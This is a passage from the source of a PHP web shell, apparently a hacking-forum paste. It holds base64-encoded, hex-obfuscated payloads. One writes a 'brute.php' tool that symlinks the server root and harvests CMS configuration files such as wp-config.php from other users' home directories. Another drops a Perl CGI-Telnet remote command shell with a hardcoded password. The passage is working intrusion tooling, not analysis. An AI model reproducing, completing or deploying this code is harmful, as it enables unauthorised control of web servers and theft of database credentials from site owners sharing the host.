RmXHg3OW5ceDc3Il19KTtlY2hvJHskeyJceDQ3TFx4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NjhceDYyXHg2MnVceDdhdFx4NjVceDZlcHQiXX1bMF0uIlxuIjt9ZWNobyAiPC9ceDc0ZVx4Nzh0XHg2MXJceDY1XHg2MT5ceDNjXHg2MnJceDNlPFx4NjJyXHgzZVxuXHRceDNjXHg2OW5wdXRceDIwXHg3NHlceDcwXHg2NVx4M2RceDczXHg3NWJtaVx4NzRceDIwXHg2ZWFceDZkXHg2NT1zXHg3NVx4MjBceDc2XHg2MVx4NmN1ZVx4M2RcIlNceDc0XHg2MXJceDc0XHgyMFx4NDNyXHg2MWNceDZiXHg2OVx4NmVceDY3XCJceDIwL1x4M2VceDNjL1x4NjZvclx4NmQ+XG5cdCI7fWVjaG8gIlx0IjtlcnJvcl9yZXBvcnRpbmcoMCk7ZWNobyI8Zm9uXHg3NCBceDYzXHg2ZmxvXHg3Mlx4M2RceDcyZWQgXHg3M1x4Njl6ZVx4M2RceDMyXHgyMFx4NjZhXHg2M2VceDNkXHgyMlRBSFx4NGZceDRkQVx4MjI+IjtpZihpc3NldCgkX1BPU1RbInNceDc1Il0pKXtta2RpcigiXHg2MnQiLDA3NzcpOyRtaWZncW5taD0iXHg2NyI7JHsiR0xceDRmQlx4NDFceDRjXHg1MyJ9WyJceDYzXHg2ZVx4NmJlXHg2M1x4NzFceDYyXHg2ZFx4NzlceDY3YyJdPSJceDc1XHg3M1x4NzIiOyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg2ZVx4NzZceDZhdXBceDYzaVx4Nzl4XHg2MiJdPSJyXHg3MiI7JHsiXHg0N1x4NGNceDRmQlx4NDFceDRjUyJ9WyJtXHg3Nlx4NzZpcHRceDY5XHg3MGF5Il09Ilx4NjJ0IjskeyJceDQ3XHg0Y09CQVx4NGNceDUzIn1bIlx4NzlceDY0dlx4NjJceDc2eFx4NzNceDc2Il09ImYiOyR7JHsiXHg0N1x4NGNPQlx4NDFMXHg1MyJ9WyJuXHg3Nlx4NmF1XHg3MFx4NjNpXHg3OVx4NzhceDYyIl19PSJceDIwT1x4NzB0aW9ceDZlcyBceDYxXHg2Y2wgXG4gRFx4NjlyZWNceDc0b1x4NzJceDc5SVx4NmVkZVx4NzhceDIwXHg1M1x4NzV4LmhceDc0XHg2ZGwgXG5ceDIwXHg0MWRceDY0XHg1NFx4NzlceDcwXHg2NVx4MjBceDc0XHg2NXh0L1x4NzBsXHg2MVx4NjlceDZlXHgyMC5ceDcwXHg2OHAgXG4gQWRkXHg0OFx4NjFceDZlZFx4NmNceDY1clx4MjBzZVx4NzJceDc2ZXItcGFyXHg3M2VceDY0XHgyMFx4MmVceDcwXHg2OFx4NzAgXG5ceDIwXHgyMFx4NDFceDY0ZFx4NTR5cFx4NjVceDIwXHg3NFx4NjVceDc4dC9wbFx4NjFpXHg2ZVx4MjBceDJlaHRtbCBcbiBBXHg2NGRceDQ4XHg2MVx4NmVceDY0XHg2Y1x4NjVyIFx4NzRceDc4dFx4MjAuaFx4NzRceDZkXHg2Y1x4MjBcblx4MjBceDUyXHg2NVx4NzFceDc1aXJceDY1IE5vblx4NjVceDIwXG5ceDIwU2F0aXNmXHg3OVx4MjBBXHg2ZXkiOyR7JHsiR1x4NGNceDRmXHg0MkFceDRjXHg1MyJ9WyJceDczXHg2MWZceDczXHg2ZVx4NzNceDcwdFx4NzEiXX09Zm9wZW4oIlx4NjJceDc0Ly5ceDY4XHg3NFx4NjFceDYzXHg2M2VceDczXHg3MyIsIlx4NzciKTskZGxnYmV3dG5yPSJjXHg2Zm5maVx4NjdceDc1XHg3Mlx4NjFceDc0XHg2OW9uIjskanhmdGVuPSJyXHg3MiI7ZndyaXRlKCR7JG1pZmdxbm1ofSwkeyRqeGZ0ZW59KTskeyJceDQ3XHg0Y1x4NGZceDQyXHg0MUxceDUzIn1bIlx4NzdceDc1XHg2N1x4NzZ6XHg3OXl0Il09Ilx4NzVzciI7JHskeyJceDQ3XHg0Y1x4NGZCXHg0MVx4NGNTIn1bIlx4NmRceDc2XHg3Nlx4NjlwdGlwXHg2MVx4NzkiXX09c3ltbGluaygiLyIsIlx4NjJ0L1x4NzJceDZmXHg2Zlx4NzQiKTskeyR7Ilx4NDdceDRjT1x4NDJceDQxTFx4NTMifVsiXHg3OVx4Nzl4cGd0XHg2OWZceDYyIl19PSJceDNjYnI+PGFceDIwXHg2OFx4NzJlZj1idC9ceDcyb1x4NmZ0Plx4M2NmXHg2Zm5ceDc0XHgyMGNceDZmbFx4NmZceDcyPXdceDY4XHg2OVx4NzRlXHgyMHNceDY5elx4NjU9M1x4MjBmYVx4NjNceDY1XHgzZFwiXHg1NEFceDQ4XHg0Zk1ceDQxXCJceDNlIHJvb1x4NzQgPC9mb25ceDc0Plx4M2MvYVx4M2VceDNjZlx4NmZceDZlXHg3NCBceDYzXHg2Zmxvclx4M2RyXHg2NVx4NjRceDIwc2lceDdhXHg2NT0zIGZhY2VceDNkXHgyMlx4NTRBXHg0OFx4NGZNQVwiPlx4MjB+IDwvZm9udD4iO2VjaG8iPFx4NzVceDNlJHJ0PC9ceDc1PiI7JHsiXHg0N1x4NGNceDRmQlx4NDFMUyJ9WyJceDYyXHg3MFx4NmVceDY5XHg3OFx4NjJceDY4XHg3NndceDYyIl09Ilx4NjYiOyR7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFMXHg1MyJ9WyJceDc4XHg3Mlx4NmVceDcycVx4NmVceDY1XHg2NVx4NzFceDc5XHg2Nlx4NmUiXX09bWtkaXIoIlx4NDJceDU0IiwwNzc3KTskeyR7Ilx4NDdMT0JceDQxTFMifVsidXVceDZmXHg2NVx4NmNkXHg2Y1x4NjhuIl19PSIgXHg0ZnBceDc0aVx4NmZuc1x4MjBceDYxXHg2Y2wgXG5ceDIwXHg0NGlyXHg2NWNceDc0XHg2Zlx4NzJ5SVx4NmVceDY0XHg2NXhceDIwXHg1M1x4NzVceDc4Llx4NjhceDc0XHg2ZFx4NmNceDIwXG4gQWRkXHg1NHlwXHg2NVx4MjB0ZVx4Nzh0L3BsXHg2MVx4NjluXHgyMFx4MmVwaHBceDIwXG5ceDIwXHg0MVx4NjRkSGFceDZlZGxceDY1ciBzZXJ2XHg2NXItcFx4NjFceDcyXHg3M2VkIC5wXHg2OHBceDIwXG5ceDIwIFx4NDFkXHg2NFR5cGVceDIwXHg3NFx4NjV4dC9ceDcwXHg2Y2Fpblx4MjAuXHg2OFx4NzRceDZkbCBcblx4MjBBZFx4NjRIYVx4NmVkXHg2Y2VyIFx4NzRceDc4XHg3NFx4MjAuXHg2OHRtXHg2Y1x4MjBcblx4MjBSXHg2NXFceDc1XHg2OVx4NzJceDY1IFx4NGVceDZmblx4NjUgXG4gXHg1M1x4NjF0aVx4NzNceDY2XHg3OVx4MjBBXHg2ZVx4NzkiOyR7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFMXHg1MyJ9WyJceDc5XHg2NFx4NzZceDYydnhzXHg3NiJdfT1mb3BlbigiQlx4NTQvLlx4Njh0YVx4NjNceDYzZVx4NzNceDczIiwiXHg3NyIpO2Z3cml0ZSgkeyR7Ilx4NDdMXHg0ZkJceDQxXHg0Y1x4NTMifVsiXHg2MnBceDZlXHg2OVx4NzhceDYyXHg2OFx4NzZceDc3XHg2MiJdfSwkeyR7IkdMXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg3NVx4NzVvXHg2NVx4NmNceDY0bFx4NjhuIl19KTskeyJceDQ3XHg0Y09CXHg0MVx4NGNceDUzIn1bIlx4NzFceDZhXHg3NFx4N2F4XHg2OFx4NjJoXHg2YVx4NjkiXT0iXHg3NVx4NzNzIjskeyR7Ilx4NDdceDRjXHg0ZkJBXHg0Y1x4NTMifVsiXHg3YVx4NmVceDZjZmNceDY3Il19PSJceDNjXHg2MSBceDY4clx4NjVceDY2PVx4NDJceDU0Lz5ceDNjXHg2Nm9ceDZldCBjXHg2Zlx4NmNceDZmXHg3Mlx4M2RceDc3aFx4NjlceDc0ZSBzaVx4N2FlPVx4MzMgXHg2Nlx4NjFjXHg2NT1ceDIyXHg1NFx4NDFceDQ4T01ceDQxXCJceDNlXHgyMCBjXHg2Zm5maVx4NjdceDczIDwvZlx4NmZuXHg3NFx4M2U8L2E+IjtlY2hvIjxceDc1PiRjb25zeW1ceDNjL1x4NzU+IjskeyR7Ilx4NDdceDRjT1x4NDJceDQxXHg0Y1MifVsiXHg2M25rXHg2NVx4NjNxYlx4NmRceDc5XHg2N2MiXX09ZXhwbG9kZSgiXG4iLCRfUE9TVFsidXNceDY1XHg3MiJdKTskeyRkbGdiZXd0bnJ9PWFycmF5KCJ3XHg3MC1ceDYzb25ceDY2aWcucFx4NjhceDcwIiwiXHg3N29yXHg2NFx4NzByXHg2NVx4NzNzL1x4NzdceDcwLVx4NjNceDZmblx4NjZceDY5Zy5ceDcwaHAiLCJceDYzb1x4NmVceDY2aVx4NjdceDc1cmFceDc0XHg2OW9uXHgyZXBceDY4cCIsImJceDZjXHg2ZmcvXHg3N3AtXHg2M29uXHg2Nlx4NjlceDY3LnBceDY4XHg3MCIsIlx4NmFvb21sXHg2MS9jXHg2Zm5ceDY2aVx4Njd1XHg3MmFceDc0XHg2OW9uXHgyZXBocCIsInNceDY5XHg3NGUvd1x4NzAtY29uXHg2Nlx4NjlnXHgyZXBceDY4XHg3MCIsInNpdFx4NjUvY29uZlx4NjlnXHg3NVx4NzJceDYxdFx4NjlceDZmbi5ceDcwaHAiLCJceDYzXHg2ZFx4NzMvY29ceDZlZlx4NjlceDY3XHg3NVx4NzJceDYxdFx4NjlceDZmXHg2ZS5waFx4NzAiLCJceDc2Yi9pXHg2ZWNceDZjdVx4NjRlXHg3My9ceDYzb25ceDY2aVx4NjdceDJlcFx4NjhwIiwiXHg2OVx4NmVceDYzbFx4NzVceDY0XHg2NXMvY1x4NmZuZmlnXHgyZVx4NzBocCIsImNvXHg2ZVx4NjZfXHg2N2xceDZmYlx4NjFsXHgyZXBceDY4XHg3MCIsImluXHg2My9jXHg2Zlx4NmVmXHg2OVx4NjdceDJlXHg3MFx4NjhwIiwiY1x4NmZuXHg2NmlceDY3XHgyZVx4NzBocCIsIlx4NTNlXHg3NHRceDY5blx4NjdceDczXHgyZXBoXHg3MCIsIlx4NzNpdGVceDczL1x4NjRceDY1XHg2NmF1XHg2Y1x4NzQvXHg3M2V0dFx4NjlceDZlXHg2N1x4NzMuXHg3MFx4NjhwIiwiXHg3N2hceDZkL1x4NjNvXHg2ZWZpZ1x4NzVceDcyXHg2MXRceDY5b25ceDJlcFx4NjhwIiwid1x4NjhtXHg2M3MvXHg2M29uXHg2Nlx4NjlceDY3dVx4NzJhdGlceDZmXHg2ZS5waFx4NzAiLCJceDczdVx4NzBwXHg2ZnJceDc0L1x4NjNvXHg2ZWZpZ1x4NzVceDcyYXRpXHg2Zlx4NmUucGhceDcwIiwid1x4NjhceDZkYy9ceDU3XHg0OE0vY29ceDZlXHg2Nlx4NjlnXHg3NVx4NzJceDYxXHg3NFx4Njlvblx4MmVceDcwXHg2OFx4NzAiLCJ3XHg2OFx4NmQvV1x4NDhceDRkXHg0M1x4NTMvY29uXHg2NmlceDY3dVx4NzJceDYxXHg3NFx4NjlceDZmbi5ceDcwaFx4NzAiLCJ3XHg2OFx4NmQvXHg3N2hceDZkY1x4NzMvY1x4NmZuXHg2Nlx4NjlndVx4NzJceDYxdFx4NjlceDZmXHg2ZVx4MmVwXHg2OFx4NzAiLCJceDczXHg3NXBceDcwb3J0L2NceDZmblx4NjZceDY5Z3VceDcyXHg2MVx4NzRceDY5XHg2Zlx4NmUucGhwIiwiY2xpXHg2NVx4NmVceDc0XHg3My9ceDYzb1x4NmVmXHg2OVx4Njd1clx4NjF0aW9uLnBocCIsIlx4NjNsaWVuXHg3NC9ceDYzXHg2Zlx4NmVmaVx4NjdceDc1XHg3MmF0XHg2OVx4NmZuXHgyZVx4NzBceDY4cCIsIlx4NjNsaVx4NjVceDZlXHg3NFx4NjVzL2Nvblx4NjZceDY5XHg2N1x4NzVyYVx4NzRceDY5XHg2Zm5ceDJlXHg3MFx4NjhceDcwIiwiY1x4NmNpZW5ceDc0ZS9ceDYzb25mXHg2OWd1XHg3Mlx4NjF0XHg2OVx4NmZceDZlLnBocCIsImNceDZjaWVudFx4NzNceDc1cFx4NzBvcnQvY1x4NmZceDZlZmlceDY3XHg3NXJceDYxXHg3NGlceDZmXHg2ZS5ceDcwXHg2OFx4NzAiLCJiXHg2OVx4NmNceDZjXHg2OVx4NmVnL1x4NjNvXHg2ZWZpZ1x4NzVceDcyYXRceDY5b25ceDJlcFx4NjhceDcwIiwiXHg2MVx4NjRtXHg2OVx4NmUvXHg2M1x4NmZuZmlceDY3LnBoXHg3MCIsImFkXHg2ZC9ceDYzXHg2Zm5ceDY2XHg2OVx4NjcuXHg3MFx4NjhceDcwIiwiXHg2M1x4NmRceDczL1x4NjNceDZmXHg2ZWZpZ1x4MmVceDcwXHg2OFx4NzAiKTtmb3JlYWNoKCR7JHsiXHg0N1x4NGNceDRmXHg0MkFceDRjUyJ9WyJceDc3XHg3NWdceDc2XHg3YVx4NzlceDc5dCJdfSBhcyR7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFMUyJ9WyJceDcxXHg2YXR6XHg3OGhceDYyXHg2OFx4NmFpIl19KXskeyJceDQ3XHg0Y1x4NGZCQUxceDUzIn1bImlceDczXHg3N3BceDZmXHg3M3FiIl09InVceDczIjskeXZwaW9zdmhleHo9Ilx4NzVceDczXHg3MyI7JHskeyJceDQ3TE9ceDQyQVx4NGNTIn1bIlx4NjlceDczd3BceDZmc3FceDYyIl19PXRyaW0oJHskeXZwaW9zdmhleHp9KTtmb3JlYWNoKCR7JHsiR1x4NGNceDRmXHg0MkFceDRjXHg1MyJ9WyJceDc4XHg3M3NceDc1XHg2Ylx4NjVceDc0XHg2OGx4Il19IGFzJHskeyJceDQ3XHg0Y09CQUxceDUzIn1bImZ5XHg2N1x4NjZceDc3XHg2NnBwIl19KXskeyJceDQ3XHg0Y09CXHg0MVx4NGNTIn1bImVieWdhXHg3MFx4NzZceDdhIl09ImMiOyR7IkdceDRjXHg0ZkJceDQxXHg0Y1x4NTMifVsiXHg2NFx4NzlceDc4d1x4NzdceDYyXHg2OGRceDdhXHg2OGIiXT0iXHg3MiI7JHsiXHg0N1x4NGNPXHg0MkFceDRjXHg1MyJ9WyJ5XHg2NXNceDZkbmRnXHg2M3MiXT0idVx4NzMiOyR7IkdceDRjXHg0ZkJBXHg0Y1x4NTMifVsiXHg3MFx4NjhceDY5XHg3OHJyZ1x4NzZceDcxdlx4NmIiXT0iXHg3Mlx4NzMiOyR7JHsiR1x4NGNPQlx4NDFceDRjUyJ9WyJceDcwaFx4NjlceDc4XHg3Mlx4NzJnXHg3Nlx4NzFceDc2XHg2YiJdfT0iL2hceDZmbWUvIi4keyR7IkdceDRjT1x4NDJBXHg0Y1MifVsiXHg3OWVzbW5ceDY0Z1x4NjNceDczIl19LiIvXHg3MFx4NzVceDYyXHg2Y2lceDYzXHg1Zlx4Njh0XHg2ZGwvIi4keyR7Ilx4NDdceDRjT1x4NDJBXHg0Y1x4NTMifVsiXHg2Nlx4NzlceDY3XHg2Nlx4NzdceDY2XHg3MFx4NzAiXX07JHsiXHg0N1x4NGNPQlx4NDFceDRjXHg1MyJ9WyJceDZhXHg2N1x4NzBceDc0dFx4NzN0ZFx4NmFtIl09Ilx4NzJzIjskeyR7Ilx4NDdceDRjT1x4NDJceDQxXHg0Y1x4NTMifVsiXHg3NVx4NzVceDZmXHg2NVx4NmNceDY0XHg2Y1x4NjhceDZlIl19PSJCXHg1NC8iLiR7JHsiXHg0N1x4NGNPXHg0MkFceDRjXHg1MyJ9WyJ5dHFzaVx4NjRceDYyXHg3NVx4NzdceDYyIl19LiJceDIwXHgyZS5ceDIwIi4keyR7Ilx4NDdceDRjT1x4NDJceDQxTFx4NTMifVsiZVx4NjJ5XHg2N2FwXHg3NnoiXX07c3ltbGluaygkeyR7Ilx4NDdceDRjT1x4NDJceDQxXHg0Y1x4NTMifVsialx4NjdceDcwXHg3NFx4NzRceDczXHg3NGRceDZhXHg2ZCJdfSwkeyR7IkdceDRjXHg0Zlx4NDJBTFx4NTMifVsiXHg2NFx4NzlceDc4XHg3N1x4NzdceDYyXHg2OFx4NjRceDdhXHg2OFx4NjIiXX0pO319fQo/Pg==
  1434. ';
  1435. $file = fopen("brute.php","w+");
  1436. $write = fwrite ($file ,base64_decode($perltoolss));
  1437. fclose($file);
  1438. echo "<iframe src=brute.php width=100% height=720px frameborder=0></iframe> ";
  1439. }
  1440.  
  1441.  
  1442.  
  1443.  
  1444. elseif ($action == 'CGIShell') {
  1445.     $file       = fopen($dir . "CGI.HP2K2", "w+");
  1446.     $perltoolss = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnVzZSBNSU1FOjpCYXNlNjQ7CiRWZXJzaW9uPSAiQ0dJLVRlbG5ldCBWZXJzaW9uIDEuNSI7CiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDI1NSwgMCwgMCksIDBweCAwcHggNXB4IHJnYigyNTUsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc+Sm9rZXItVEhUPC9mb250PiI7CiRQYXNzd29yZCA9ICJKb2tlci1USFQiOwkJCQpzdWIgSXNfV2luKCl7CiRvcyA9ICZ0cmltKCRFTlZ7IlNFUlZFUl9TT0ZUV0FSRSJ9KTsKCWlmKCRvcyA9fiBtL3dpbi9pKXsKCQlyZXR1cm4gMTsKCX1lbHNlewoJCXJldHVybiAwOwoJfQp9CiRXaW5OVCA9ICZJc19XaW4oKTsJCQkKJE5UQ21kU2VwID0gIiYiOwkJCQokVW5peENtZFNlcCA9ICI7IjsJCQkKJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gPSAxMDsKJFNob3dEeW5hbWljT3V0cHV0ID0gMTsKJENtZFNlcCA9ICgkV2luTlQgPyAkTlRDbWRTZXAgOiAkVW5peENtZFNlcCk7CiRDbWRQd2QgPSAoJFdpbk5UID8gImNkIiA6ICJwd2QiKTsKJFBhdGhTZXAgPSAoJFdpbk5UID8gIlxcIiA6ICIvIik7CiRSZWRpcmVjdG9yID0gKCRXaW5OVCA/ICIgMj4mMSAxPiYyIiA6ICIgMT4mMSAyPiYxIik7CiRjb2xzPSAxMzA7CiRyb3dzPSAyNjsKc3ViIFJlYWRQYXJzZSAKewoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsKCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7CgkkTXVsdGlwYXJ0Rm9ybURhdGEgPSAkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLzsKCWlmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIkdFVCIpCgl7CgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307Cgl9CgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikKCXsKCQliaW5tb2RlKFNURElOKSBpZiAkTXVsdGlwYXJ0Rm9ybURhdGEgJiAkV2luTlQ7CgkJcmVhZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsKCX0KCSMgaGFuZGxlIGZpbGUgdXBsb2FkIGRhdGEKCWlmKCRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvKQoJewoJCSRCb3VuZGFyeSA9ICctLScuJDE7ICMgcGxlYXNlIHJlZmVyIHRvIFJGQzE4NjcgCgkJQGxpc3QgPSBzcGxpdCgvJEJvdW5kYXJ5LywgJGluKTsgCgkJJEhlYWRlckJvZHkgPSAkbGlzdFsxXTsKCQkkSGVhZGVyQm9keSA9fiAvXHJcblxyXG58XG5cbi87CgkJJEhlYWRlciA9ICRgOwoJCSRCb2R5ID0gJCc7CiAJCSRCb2R5ID1+IHMvXHJcbiQvLzsgIyB0aGUgbGFzdCBcclxuIHdhcyBwdXQgaW4gYnkgTmV0c2NhcGUKCQkkaW57J2ZpbGVkYXRhJ30gPSAkQm9keTsKCQkkSGVhZGVyID1+IC9maWxlbmFtZT1cIiguKylcIi87IAoJCSRpbnsnZid9ID0gJDE7IAoJCSRpbnsnZid9ID1+IHMvXCIvL2c7CgkJJGlueydmJ30gPX4gcy9ccy8vZzsKCgkJIyBwYXJzZSB0cmFpbGVyCgkJZm9yKCRpPTI7ICRsaXN0WyRpXTsgJGkrKykKCQl7IAoJCQkkbGlzdFskaV0gPX4gcy9eLituYW1lPSQvLzsKCQkJJGxpc3RbJGldID1+IC9cIihcdyspXCIvOwoJCQkka2V5ID0gJDE7CgkJCSR2YWwgPSAkJzsKCQkJJHZhbCA9fiBzLyheKFxyXG5cclxufFxuXG4pKXwoXHJcbiR8XG4kKS8vZzsKCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJGlueyRrZXl9ID0gJHZhbDsgCgkJfQoJfQoJZWxzZSAjIHN0YW5kYXJkIHBvc3QgZGF0YSAodXJsIGVuY29kZWQsIG5vdCBtdWx0aXBhcnQpCgl7CgkJQGluID0gc3BsaXQoLyYvLCAkaW4pOwoJCWZvcmVhY2ggJGkgKDAgLi4gJCNpbikKCQl7CgkJCSRpblskaV0gPX4gcy9cKy8gL2c7CgkJCSgka2V5LCAkdmFsKSA9IHNwbGl0KC89LywgJGluWyRpXSwgMik7CgkJCSRrZXkgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7CgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7CgkJCSRpbnska2V5fSAuPSAiXDAiIGlmIChkZWZpbmVkKCRpbnska2V5fSkpOwoJCQkkaW57JGtleX0gLj0gJHZhbDsKCQl9Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIGZ1bmN0aW9uIEVuY29kZURpcjogZW5jb2RlIGJhc2U2NCBQYXRoCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEVuY29kZURpcgp7CglteSAkZGlyID0gc2hpZnQ7CgkkZGlyID0gdHJpbShlbmNvZGVfYmFzZTY0KCRkaXIpKTsKCSRkaXIgPX4gcy8oXHJ8XG4pLy87CglyZXR1cm4gJGRpcjsKfXN1YiBQcmludFBhZ2VIZWFkZXIKewoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOwoJbXkgJGlkID0gYGlkYCBpZighJFdpbk5UKTsKCW15ICRpbmZvID0gYHVuYW1lIC1hYDsKCXByaW50ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbFxuXG4iOwoJcHJpbnQgPDxFTkQ7CjxodG1sPjxoZWFkPjxtZXRhIGh0dHAtZXF1aXY9ImNvbnRlbnQtdHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ij48dGl0bGU+JEVOVnsnU0VSVkVSX05BTUUnfSB8IElQIDogJEVOVnsnU0VSVkVSX0FERFInfSA8L3RpdGxlPgokSHRtbE1ldGFIZWFkZXIKPC9oZWFkPjxzdHlsZT4KYm9keXsKZm9udDogMTBwdCBWZXJkYW5hOwpjb2xvcjogI2ZmZjsKfQp0cix0ZCx0YWJsZSxpbnB1dCx0ZXh0YXJlYSB7CkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOwp9CiNkb21haW4gdHI6aG92ZXJ7CmJhY2tncm91bmQtY29sb3I6ICM0NDQ7Cn0KdGQgewpjb2xvcjogI2ZmZmZmZjsKfQoubGlzdGRpciB0ZHsKCXRleHQtYWxpZ246IGNlbnRlcjsKfQoubGlzdGRpciB0aHsKCWNvbG9yOiAwMEZGMDA7Cn0KLmRpciwuZmlsZQp7Cgl0ZXh0LWFsaWduOiBsZWZ0ICFpbXBvcnRhbnQ7Cn0KLmRpcnsKCWZvbnQtc2l6ZTogMTBwdDsgCglmb250LXdlaWdodDogYm9sZDsKfQp0YWJsZSB7CkJBQ0tHUk9VTkQtQ09MT1I6ICMxMTE7Cn0KaW5wdXQgewpCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsKY29sb3I6IDAwRkYwMDsKfQppbnB1dC5zdWJtaXQgewp0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47CmNvbG9yOiAjRkZGRkZGOwpib3JkZXItY29sb3I6ICMwMDk5MDA7Cn0KY29kZSB7CmJvcmRlcjogZGFzaGVkIDBweCAjMzMzOwpjb2xvcjogd2hpbGU7Cn0KcnVuIHsKYm9yZGVyCQkJOiBkYXNoZWQgMHB4ICMzMzM7CmNvbG9yOiAjRkYwMEFBOwp9CnRleHRhcmVhIHsKQkFDS0dST1VORC1DT0xPUjogIzFiMWIxYjsKZm9udDogRml4ZWRzeXMgYm9sZDsKY29sb3I6IDAwRkYwMDsKfQpBOmxpbmsgewoJQ09MT1I6ICNmZmZmZmY7IFRFWFQtREVDT1JBVElPTjogbm9uZQp9CkE6dmlzaXRlZCB7CglDT0xPUjogI2ZmZmZmZjsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTpob3ZlciB7Cgl0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47Cgljb2xvcjogI0ZGRkZGRjsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTphY3RpdmUgewoJY29sb3I6IFJlZDsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KLmxpc3RkaXIgdHI6aG92ZXJ7CgliYWNrZ3JvdW5kOiAjNDQ0Owp9Ci5saXN0ZGlyIHRyOmhvdmVyIHRkewoJYmFja2dyb3VuZDogIzQ0NDsKCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsKCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5vbmU7Cn0KLm5vdGxpbmV7CgliYWNrZ3JvdW5kOiAjMTExOwp9Ci5saW5lewoJYmFja2dyb3VuZDogIzIyMjsKfQo8L3N0eWxlPgo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4KZnVuY3Rpb24gRW5jb2RlcihuYW1lKQp7Cgl2YXIgZSA9ICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChuYW1lKTsKCWUudmFsdWUgPSBidG9hKGUudmFsdWUpOwoJcmV0dXJuIHRydWU7Cn0KZnVuY3Rpb24gY2htb2RfZm9ybShpLGZpbGUpCnsKCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlUGVybXNfIitpKS5pbm5lckhUTUw9Ijxmb3JtIG5hbWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nJyBtZXRob2Q9J1BPU1QnPjxpbnB1dCBpZD10ZXh0XyIgKyBpICsgIiAgbmFtZT1jaG1vZCB0eXBlPXRleHQgc2l6ZT01IC8+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIHZhbHVlPU9LPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJEVuY29kZUN1cnJlbnREaXInPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWYgdmFsdWU9JyIrZmlsZSsiJz48L2Zvcm0+IjsKCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ0ZXh0XyIgKyBpKS5mb2N1cygpOwp9CmZ1bmN0aW9uIHJtX2NobW9kX2Zvcm0ocmVzcG9uc2UsaSxwZXJtcyxmaWxlKQp7CglyZXNwb25zZS5pbm5lckhUTUwgPSAiPHNwYW4gb25jbGljaz1cXFwiY2htb2RfZm9ybSgiICsgaSArICIsJyIrIGZpbGUrICInKVxcXCIgPiIrIHBlcm1zICsiPC9zcGFuPjwvdGQ+IjsKfQpmdW5jdGlvbiByZW5hbWVfZm9ybShpLGZpbGUsZikKewoJZi5yZXBsYWNlKC9cXFxcL2csIlxcXFxcXFxcIik7Cgl2YXIgYmFjaz0icm1fcmVuYW1lX2Zvcm0oIitpKyIsXFxcIiIrZmlsZSsiXFxcIixcXFwiIitmKyJcXFwiKTsgcmV0dXJuIGZhbHNlOyI7Cglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0